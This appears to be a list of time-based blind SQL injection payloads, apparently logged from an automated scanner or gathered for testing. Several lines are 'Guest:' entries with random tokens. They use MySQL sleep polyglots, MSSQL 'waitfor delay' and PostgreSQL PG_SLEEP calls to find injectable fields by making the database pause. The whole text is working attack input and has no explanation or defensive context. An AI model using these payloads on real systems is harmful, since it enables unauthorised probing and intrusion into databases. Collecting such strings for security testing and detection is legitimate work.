(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:-1; waitfor delay '0:0:15' --

Guest:-1); waitfor delay '0:0:15' --

Guest:-1 waitfor delay '0:0:15' --

Guest:Uxvxvs8e'; waitfor delay '0:0:15' --

Guest:GvVoTAzk'); waitfor delay '0:0:15' --

Guest:irQ5lQ7m')); waitfor delay '0:0:15' --

Guest:ZH0qP1ug' OR 226=(SELECT 226 FROM PG_SLEEP(15))--

Guest:WCI8JGjc') OR 567=(SELECT 567 FROM PG_SLEEP(15))--

Guest:BgaLyfI6')) OR 713=(SELECT 713 FROM PG_SLEEP(15))--